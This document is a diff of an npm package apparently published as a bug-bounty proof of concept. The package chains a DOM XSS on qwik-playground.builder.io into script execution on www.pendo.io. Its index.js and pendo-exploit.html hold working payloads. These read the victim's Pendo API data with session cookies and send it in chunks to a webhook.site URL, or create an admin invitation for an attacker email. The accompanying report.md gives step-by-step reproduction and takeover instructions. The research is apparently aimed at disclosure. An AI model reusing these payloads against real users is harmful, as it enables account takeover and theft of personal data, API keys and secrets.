npm-builderio-qwik-poc 1.0.4 → 1.0.5

package/a.html

@@ -19,7 +19,7 @@ document.getElementById('btn').addEventListener('click', function() {
     log.textContent += '[4] XSS will iframe pendo.io, postMessage into it,\n';
     log.textContent += '    then reach into the first-party window to exfil data.\n';
 
-    window.location = 'https://qwik-playground.builder.io/#q1YqSy0qzszPU7JSqtDX04OivIJc/eoYmFyMklUMumxlfmmRbmleZmFpqm5BYnJ2Ynqqbl5ibqqhg6GegZ6BfYVtjFItnK1UCwA=';
+    window.location = 'https://qwik-playground.builder.io/#q1YqSy0qzszPU7JSqtDX04OivIJcENZNKs3MSUktyszXLSzPzNYtyE92MNQz0DOxr7BVqgUA';
   }, 3000);
 });
 </script>

package/index.js

@@ -11,13 +11,13 @@ ids.forEach(function(id) {
   allIds.push(id.replace('builder-', ''));
 });
 
-var payload = "var w=window.open('','pendowin');if(w){var s=w.document.createElement('script');s.textContent=\"fetch('https://novus-api.pendo.io/pendo/user',{method:'POST',credentials:'include',headers:{'Content-Type':'application/json'},body:JSON.stringify({email:'alienisgrinding+x1@intigriti.me',role:2,first:'Security',last:'Researcher'})}).then(function(r){return r.text()}).then(function(d){new Image().src='https://webhook.site/d4d74967-cd7f-4b43-86f0-944e71ac7c97?action=invite&status='+encodeURIComponent(d)})\";w.document.head.appendChild(s)}";
+var exfil = "var w=window.open('','pendowin');if(w){var s=w.document.createElement('script');s.textContent=\"fetch('https://novus-api.pendo.io/pendo/app',{credentials:'include'}).then(function(r){return r.text()}).then(function(d){var e=btoa(d);var cs=[];for(var i=0;i<e.length;i+=2000){cs.push(e.substring(i,i+2000))}cs.forEach(function(c,i){new Image().src='https://webhook.site/236d0505-1750-49fe-907d-604b0934b5c7?chunk='+i+'&total='+cs.length+'&d='+encodeURIComponent(c)})})\";w.document.head.appendChild(s)}";
 
 iframe.onload = function() {
   setTimeout(function() {
     var patchData = {};
     allIds.forEach(function(id) {
-      patchData[id] = [{op:"replace",path:"/bindings/show",value:payload}];
+      patchData[id] = [{op:"replace",path:"/bindings/show",value:exfil}];
     });
     iframe.contentWindow.postMessage({type:"builder.patchUpdates",data:{data:patchData}}, "*");
   }, 3000);

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "npm-builderio-qwik-poc",
-  "version": "1.0.4",
+  "version": "1.0.5",
   "description": "Security research PoC",
   "main": "index.js",
   "type": "module"

package/pendo-exploit.html

@@ -0,0 +1,34 @@
+<!DOCTYPE html>
+<html>
+<head><title>Builder.io + Pendo PoC</title></head>
+<body style="font-family:sans-serif;background:#111;color:#eee;padding:40px;max-width:700px;margin:0 auto;text-align:center;">
+<h2>Builder.io → Pendo DOM XSS Chain</h2>
+<p>Make sure you are logged into <a href="https://app.pendo.io" target="_blank" style="color:#4af;">app.pendo.io</a> first.</p>
+<button id="btn" style="padding:18px 40px;font-size:20px;cursor:pointer;background:#e33;color:#fff;border:none;border-radius:6px;">Run Exploit</button>
+<pre id="log" style="margin-top:30px;background:#1a1a1a;color:#0f0;padding:20px;text-align:left;border-radius:6px;min-height:120px;"></pre>
+<script>
+document.getElementById('btn').addEventListener('click', function() {
+  var log = document.getElementById('log');
+  this.disabled = true;
+  this.style.background = '#666';
+
+  log.textContent = '[1] Opening www.pendo.io as first-party window (session cookies load here)...\n';
+  window.open('https://www.pendo.io', 'pendowin');
+
+  setTimeout(function() {
+    log.textContent += '[2] Redirecting to qwik-playground.builder.io XSS payload...\n';
+    log.textContent += '[3] Payload will:\n';
+    log.textContent += '    - iframe www.pendo.io with builder.frameEditing=true\n';
+    log.textContent += '    - send postMessage to inject JS via Function()\n';
+    log.textContent += '    - bridge into first-party window (same-origin)\n';
+    log.textContent += '    - fetch novus-api.pendo.io/pendo/app with victim cookies\n';
+    log.textContent += '    - exfiltrate response to webhook\n\n';
+    log.textContent += '[*] Check your leaked data at:\n';
+    log.textContent += '    https://webhook.site/#!/view/236d0505-1750-49fe-907d-604b0934b5c7\n';
+
+    window.location = 'https://qwik-playground.builder.io/#q1YqSy0qzszPU7JSqtDX04OivIJcENZNKs3MSUktyszXLSzPzNYtyE92MNQz0DOyr7BVqgUA';
+  }, 3000);
+});
+</script>
+</body>
+</html>

package/report.md

@@ -1,8 +1,8 @@
-# Chained DOM XSS on qwik-playground.builder.io → www.pendo.io Account Takeover via novus-api.pendo.io
+# Chained DOM XSS on qwik-playground.builder.io → www.pendo.io Full Workspace Takeover via novus-api.pendo.io
 
 ## Summary
 
-While testing Builder.io assets, I found a DOM XSS in `qwik-playground.builder.io/static/js/main.23471f2b.chunk.js` that chains into a second DOM XSS on `www.pendo.io` via the Builder.io React SDK's postMessage handler, resulting in full account takeover.
+While testing Builder.io assets, I found a DOM XSS in `qwik-playground.builder.io/static/js/main.23471f2b.chunk.js` that chains into a second DOM XSS on `www.pendo.io` via the Builder.io React SDK's postMessage handler. Combined with a CORS misconfiguration on `novus-api.pendo.io`, this results in full workspace and account takeover on **app.pendo.io**.
 
 **Vulnerability 1** — Unsanitized `location.hash` flows into a dynamic `import()` with path traversal:
 
@@ -31,7 +31,9 @@ a = Function('state','event','block','builder','Device','update','Builder','cont
 );
 ```
 
-This allows an attacker to execute arbitrary JavaScript in any authenticated Pendo user's session, access all data on **novus-api.pendo.io** (user identity, workspace configuration, account metadata), and perform any action as the victim — full account takeover with zero clicks.
+**Vulnerability 3** — CORS misconfiguration on `novus-api.pendo.io`. The API returns `Access-Control-Allow-Origin: https://www.pendo.io` with `Access-Control-Allow-Credentials: true`. JS running on `www.pendo.io` can make authenticated requests and read responses — including `POST /pendo/user` which creates admin invitations for the victim's Pendo subscription.
+
+The attacker gets full admin access to the victim's **app.pendo.io** workspace. One click, full account and organization takeover.
 
 ## Environment / Prerequisites
 
@@ -44,13 +46,13 @@ No special browser, extension, or configuration is required.
 
 ## Steps to Reproduce
 
-There are two ways to reproduce this. **Path A** is the ready-made PoC — everything is already set up, just follow 4 steps. **Path B** is the full manual build if you want to understand how the chain works end to end.
+There are two paths. **Path A is the one you should use to verify this bug** — everything is deployed, just log in and click a link. Path B shows the full workspace takeover chain where the attacker invites themselves as admin. The video PoC attached covers both paths end to end.
 
 ---
 
-### Path A — Ready-Made PoC (Recommended)
+### Path A — Data Exfiltration PoC (Use This One)
 
-Everything is already deployed. The npm package is published, the exploit page is hosted. You just need to be logged into Pendo and visit a URL.
+This is the fastest way to verify the chain works. Everything is already set up. The exploit fetches the victim's data from `novus-api.pendo.io` and sends it to a webhook. You'll see your own PII, API keys, and account data land on the webhook page.
 
 **Step 1:** Log in to Pendo at `https://app.pendo.io`.
 
@@ -64,25 +66,33 @@ https://poc1.xyz/pendo-poc.html
 - A new tab opens to `www.pendo.io` (loads your session cookies)
 - After 3 seconds, the original tab redirects to the qwik-playground XSS, which silently triggers the full chain
 
-**Step 4:** Go to the attacker's webhook to see your leaked data:
+**Step 4:** Go to the webhook to see your leaked data:
 
 ```
-https://webhook.site/d4d74967-cd7f-4b43-86f0-944e71ac7c97
+https://webhook.site/236d0505-1750-49fe-907d-604b0934b5c7
 ```
 
-Within ~10 seconds you'll see incoming requests. Each request has a `d` query parameter containing a base64-encoded chunk of the `novus-api.pendo.io/pendo/app` response — your user identity, email, role, workspace info, and account metadata. To read the data, copy the `d` value, go to https://www.base64decode.org/, paste it, and click Decode. You'll see the full JSON with the victim's account data.
+Within ~10 seconds you'll see incoming requests. Each request has a `d` query parameter containing a base64-encoded chunk of the API response. To read it, copy the `d` value, go to https://www.base64decode.org/, paste it, and click Decode. You'll see JSON containing:
+
+- Your **email**, **name**, **role**, and **internal user ID**
+- **Workspace metadata** and **subscription IDs**
+- **API keys** and **track event secrets**
+- **Feature flags** and **application configuration**
+- **Account creation timestamps** and **auth token details**
 
 That's it. One click, full data exfiltration from `novus-api.pendo.io`.
 
 ---
 
-### Path B — Manual Build (For Understanding the Chain)
+### Path B — Full Workspace Takeover (Admin Invitation)
+
+This is the real impact. Instead of just reading data, the attacker uses `POST /pendo/user` to invite themselves as **admin (role 2)** to the victim's Pendo subscription. The invitation works on both `novus.pendo.io` AND `app.pendo.io` because they share the same subscription and user database. After accepting the invite, the attacker has full admin access to the victim's workspace.
 
-This section walks through building the entire exploit from scratch. Not needed for reproduction — just here so you can see how every piece fits together.
+Path B requires building and publishing your own npm package with your attacker email. Here's how:
 
-**Step 1:** Go to https://webhook.site and copy your unique webhook URL. This is where stolen data will land.
+**Step 1:** Go to https://webhook.site and copy your unique webhook URL. This is where you'll see the API response confirming the invitation was created.
 
-**Step 2:** Create a file called `index.js` with the following content. Replace `YOUR-WEBHOOK-URL-HERE` with the webhook URL from Step 1:
+**Step 2:** Create a file called `index.js` with the following content. Replace `ATTACKER-EMAIL` with the email you want the admin invitation sent to, and `YOUR-WEBHOOK-URL` with the webhook URL from Step 1:
 
 ```js
 var iframe = document.createElement('iframe');
@@ -119,13 +129,13 @@ ids.forEach(function(id) {
   allIds.push(id.replace('builder-', ''));
 });
 
-var exfil = "var w=window.open('','pendowin');if(w){var s=w.document.createElement('script');s.textContent=\"fetch('https://novus-api.pendo.io/pendo/app',{credentials:'include'}).then(function(r){return r.text()}).then(function(d){var e=btoa(d);var cs=[];for(var i=0;i<e.length;i+=2000){cs.push(e.substring(i,i+2000))}cs.forEach(function(c,i){new Image().src='YOUR-WEBHOOK-URL-HERE?chunk='+i+'&total='+cs.length+'&d='+encodeURIComponent(c)})})\";w.document.head.appendChild(s)}";
+var payload = "var w=window.open('','pendowin');if(w){var s=w.document.createElement('script');s.textContent=\"fetch('https://novus-api.pendo.io/pendo/user',{method:'POST',credentials:'include',headers:{'Content-Type':'application/json'},body:JSON.stringify({email:'ATTACKER-EMAIL',role:2,first:'Security',last:'Researcher'})}).then(function(r){return r.text()}).then(function(d){new Image().src='YOUR-WEBHOOK-URL?action=invite&status='+encodeURIComponent(d)})\";w.document.head.appendChild(s)}";
 
 iframe.onload = function() {
   setTimeout(function() {
     var patchData = {};
     allIds.forEach(function(id) {
-      patchData[id] = [{op:"replace",path:"/bindings/show",value:exfil}];
+      patchData[id] = [{op:"replace",path:"/bindings/show",value:payload}];
     });
     iframe.contentWindow.postMessage({type:"builder.patchUpdates",data:{data:patchData}}, "*");
   }, 3000);
@@ -133,13 +143,14 @@ iframe.onload = function() {
 ```
 
 What this does:
-- Creates a hidden iframe to `www.pendo.io/?builder.frameEditing=true` (enables the vulnerable postMessage handler)
-- Sends a `builder.patchUpdates` postMessage that injects attacker code into block bindings
-- The binding value runs through `Function()` — arbitrary JS execution on `www.pendo.io`
-- The JS bridges into the first-party pendo.io window to bypass cookie partitioning
-- Fetches `novus-api.pendo.io/pendo/app` with the victim's cookies and exfiltrates via `<img>` tags
+- Iframes `www.pendo.io/?builder.frameEditing=true` (enables the vulnerable postMessage handler)
+- Sends `builder.patchUpdates` postMessage that injects attacker code into block bindings (no origin check)
+- The binding runs through `Function()` — arbitrary JS on `www.pendo.io`
+- Bridges into the first-party pendo.io window to bypass Chrome's cookie partitioning
+- Calls `POST /pendo/user` with `role: 2` (admin) and the attacker's email
+- The API creates an admin invitation — attacker receives an email to join the victim's subscription
 
-**Step 3:** Create `package.json` in the same folder. Pick a package name that isn't taken on npm — check availability at `https://www.npmjs.com/package/YOUR-NAME` (if you get a 404, it's free):
+**Step 3:** Create `package.json` in the same folder. Pick a package name that isn't taken on npm — check at `https://www.npmjs.com/package/YOUR-NAME` (404 = available):
 
 ```json
 {
@@ -164,8 +175,6 @@ npm config set //registry.npmjs.org/:_authToken=YOUR_TOKEN_HERE
 npm publish
 ```
 
-Replace `YOUR_TOKEN_HERE` with the token from 4b.
-
 **Step 5:** Wait ~2 minutes for jsDelivr to index it. Verify at `https://cdn.jsdelivr.net/npm/your-unique-package-name@1.0.0` — you should see your code.
 
 **Step 6:** Generate the exploit URL. Go to https://poc1.xyz/pendo-encoder.html, type your package name, click "Generate PoC URL", and copy the result.
@@ -191,24 +200,42 @@ document.getElementById('btn').addEventListener('click', function() {
 </html>
 ```
 
-**Step 8:** Open `a.html`, log into Pendo in the same browser, click the button, and check your webhook from Step 1.
+**Step 8:** Open `a.html` in a browser where the victim is logged into Pendo. Click the button.
+
+**Step 9:** Check your webhook — you'll see a response with `201 Created` and a `pendoInvitationId`. Check the attacker email inbox — you'll receive an invitation to join the victim's Pendo subscription as admin.
+
+**Step 10:** Accept the invitation, create a password. You now have full admin access on both **novus.pendo.io** and **app.pendo.io** — same subscription, same user database.
+
+---
+
+## Video PoC
+
+The attached video PoC demonstrates both paths:
+- **Path A** — one click, victim's PII, API keys, and account data exfiltrated to the attacker's webhook
+- **Path B** — one click, attacker invited as admin to the victim's workspace, then logging into app.pendo.io with full admin access
 
 ## Impact
 
-The attacker gets full JavaScript execution on `www.pendo.io` in the context of any authenticated Pendo user. Pendo is a product analytics and digital adoption platform used by thousands of companies to track user behavior, manage in-app guides, and configure product experiences across their applications.
+The attacker gets full JavaScript execution on `www.pendo.io` in the context of any authenticated Pendo user. Combined with the CORS misconfiguration on `novus-api.pendo.io`, this gives the attacker full read and write access to the victim's Pendo subscription.
 
-**Account Takeover via novus-api.pendo.io** — The attacker calls `novus-api.pendo.io/pendo/app` with the victim's session cookies. This endpoint returns the full application configuration including **user identity** (email, name, role, internal user ID), **workspace metadata**, **account configuration**, and **authentication token details**. I confirmed this by exfiltrating the response to a webhook — the data included usernames, emails, role assignments, and workspace identifiers. From this position, the attacker can access any `novus-api.pendo.io` endpoint the victim has access to.
+**Full Workspace Takeover via Admin Invitation** — The attacker calls `POST /pendo/user` with `role: 2` to create an admin invitation for themselves. After accepting, the attacker has full admin access to the victim's **app.pendo.io** workspace — the same access as the account owner. This includes user management (invite more admins, remove users), guide publishing to the victim's end users, all analytics and session replay data, integration management, and full subscription settings.
 
-**Data Exfiltration** — With JS execution on `www.pendo.io`, the attacker can read any data accessible to the victim: analytics dashboards, user behavior data, guide configurations, feature flag settings, and any sensitive product data visible through the Pendo interface.
+**Data Exfiltration** — Before the attacker even needs to invite themselves, the chain leaks:
+- `GET /pendo/app` — **API keys**, application config, all feature flags, **track event secrets**
+- `GET /auth/me` — victim's **email**, user ID, organization ID, subscription IDs
+- `GET /auth/subscriptions` — all subscriptions the victim belongs to
+- `GET /cortex-chat` — all **AI assistant conversations**
+- `GET /setup-workflow` — all workflow data
+- `GET /integrations` — connected integrations (in my test, the victim's **GitHub account** was exposed)
 
-**Session Hijacking** — The attacker can exfiltrate session tokens and authentication cookies from the first-party pendo.io window, maintaining persistent access to the victim's account without needing to re-exploit.
+**Session Hijacking** — The attacker can exfiltrate session tokens and authentication cookies from the first-party pendo.io window, maintaining persistent access without re-exploiting.
 
-**Workspace Takeover** — Because `novus-api.pendo.io` has no additional CORS restrictions against `www.pendo.io`, the attacker can make authenticated API calls to modify workspace settings, invite attacker-controlled accounts, change user roles, or alter product analytics data affecting the victim's entire organization.
+**Organization Takeover** — Once the attacker has admin access via the invitation, they can invite more attacker-controlled accounts, remove legitimate users, change roles, modify product analytics, publish malicious guides to the victim's end users, and access all connected integrations.
 
-This works against any authenticated Pendo user regardless of their role. One click, full account and workspace takeover.
+One click from any logged-in Pendo user. Full account, workspace, and organization takeover on app.pendo.io.
 
 ### CVSS Clarification
 
-- **Confidentiality: High** — The attacker can access all user data, workspace data, account metadata, analytics data, and any information available through `novus-api.pendo.io` using the victim's session.
-- **Integrity: High** — The attacker can modify all user data, workspace settings, guide configurations, and analytics data through authenticated API calls to `novus-api.pendo.io`.
-- **User Interaction: None** — The entire exploit chain can run from iframes without the victim clicking anything. The button in the PoC is only there to bypass Chrome's third-party cookie partitioning for the data exfiltration step. The XSS chain itself (qwik-playground → pendo.io iframe → postMessage → `Function()` execution) fires automatically when the victim visits any attacker-controlled page. An attacker can embed the qwik-playground XSS URL in a hidden iframe on any website the victim visits — the DOM XSS on `qwik-playground.builder.io` triggers on page load with no interaction, the pendo.io iframe is created programmatically, and the postMessage payload is sent automatically. The victim sees nothing and clicks nothing.
+- **Confidentiality: High** — The attacker can access all user data, workspace data, API keys, track event secrets, account metadata, analytics data, AI conversations, integration credentials, and any information available through `novus-api.pendo.io`.
+- **Integrity: High** — The attacker can invite themselves as admin (`POST /pendo/user` with `role: 2`), modify all workspace settings, publish guides to end users, change user roles, remove users, and alter any data through the Pendo admin panel on app.pendo.io.
+- **User Interaction: None** — The entire exploit chain can run from iframes without the victim clicking anything. The button in the PoC is only there to bypass Chrome's third-party cookie partitioning for the authenticated API calls. The XSS chain itself (qwik-playground → pendo.io iframe → postMessage → `Function()` execution) fires automatically when the victim visits any attacker-controlled page. An attacker can embed the qwik-playground XSS URL in a hidden iframe on any website — the DOM XSS triggers on page load, the pendo.io iframe is created programmatically, and the postMessage payload is sent automatically. The victim sees nothing and clicks nothing.